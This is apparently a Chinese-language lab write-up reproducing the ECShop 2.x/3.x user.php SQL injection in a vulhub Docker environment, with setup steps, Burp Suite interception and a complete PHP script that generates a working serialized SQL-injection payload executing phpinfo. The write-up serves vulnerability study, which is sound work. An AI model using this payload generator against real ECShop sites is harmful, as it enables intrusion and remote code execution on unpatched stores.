下载vulhub
wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip
解压下载的zip文件
进入到/vulhub-master/ecshop/collection_list-sqli/将docker-compose.yml文件的ecshop版本改一下,不然是4.0版本,漏洞被更新了,实现不了。
进入到需要复现的漏洞的目录
这个需要docker-compose,安装docker-compose
我这个是已经安装过的了,没安装的显示是不一样的,命令就是这个
开启环境
其中我的mysql已经安装过了,没有显示,安装了ecshop2.7.3
访问http://本机ip:8080
配置系统
全绿就可以了
数据库主机:mysql,端口号:3306,用户名和密码都是root,其他的就随意。
安装成功
然后利用burpsuite拦截user.php页面,进行重新发包。
burpsuite不能用8080端口,因为被占用了,导入证书需要信任证书,勾选两个选项,我一开始没信任,导致抓不到包,浪费了不少时间。
利用下面php代码生成POC,
<?php
$shell = bin2hex("{\$asd'];phpinfo\t();//}xxx");
$id = "-1' UNION/*";
$arr = [
"num" => sprintf('*/SELECT 1,0x%s,2,4,5,6,7,8,0x%s,10-- -', bin2hex($id), $shell),
"id" => $id
];
$s = serialize($arr);
$hash3 = '45ea207d7a2b68c49582d2d22adf953a';
$hash2 = '554fcae493e564ee0dc75bdf2ebf94ca';
echo "POC for ECShop 2.x: \n";
echo "{$hash2}ads|{$s}{$hash2}";
echo "\n\nPOC for ECShop 3.x: \n";
echo "{$hash3}ads|{$s}{$hash3}";
启动本地phpstudy生成POC,如下。
跳转到用户登录界面,进行抓包
将POC复制,重新发包。
复现成功。